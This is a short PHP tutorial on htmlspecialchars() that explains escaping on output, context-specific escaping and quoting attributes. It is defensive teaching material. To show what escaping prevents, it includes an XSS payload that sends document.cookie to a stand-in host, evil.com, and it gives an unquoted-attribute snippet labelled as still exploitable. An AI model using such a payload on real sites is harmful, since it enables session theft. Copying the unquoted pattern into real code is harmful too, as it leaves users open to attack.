What does htmlspecialchars() do and when do I need it?

PHP & the Web 2 min read Full lesson: Building a PHP Web Form
Short answer

htmlspecialchars() converts <, >, ", ' and & into HTML entities so the browser displays them instead of interpreting them as markup. Apply it on output, every time.

Without it, a user who types this into a name field:

html
<script>fetch('//evil.com?c='+document.cookie)</script>

…gets that script executed in the browser of everyone who views the page. That is cross-site scripting, and it is one of the most common vulnerabilities on the web.

#Use it like this

php
function e(string $value): string {
    return htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
}

echo '<p>Hello, ' . e($name) . '</p>';

ENT_QUOTES also escapes single quotes, which matters when the value lands inside a single-quoted attribute. 'UTF-8' avoids a mangled result on non-ASCII input.

Defining a one-letter helper is not laziness — it is what keeps you from skipping it in a template.

#Escape on output, not on input

Store exactly what the user typed. Escape it each time you print it.

Escaping on input leaves you with mangled data in the database, no way to know which rows were already processed, and the wrong escaping entirely if you later render that data as JSON or plain text.

#It is context-specific

htmlspecialchars makes a value safe for HTML. It does nothing for other destinations:

DestinationTool
HTML body or attributehtmlspecialchars
Inside a <script> blockjson_encode
A URL parameterurlencode
A SQL queryPrepared statements
A shell commandescapeshellarg

#Attributes need quotes

php
<input value="<?= e($name) ?>">     <!-- safe -->
<input value=<?= e($name) ?>>       <!-- unquoted: still exploitable -->

An unquoted attribute can be escaped with a space, no angle brackets required.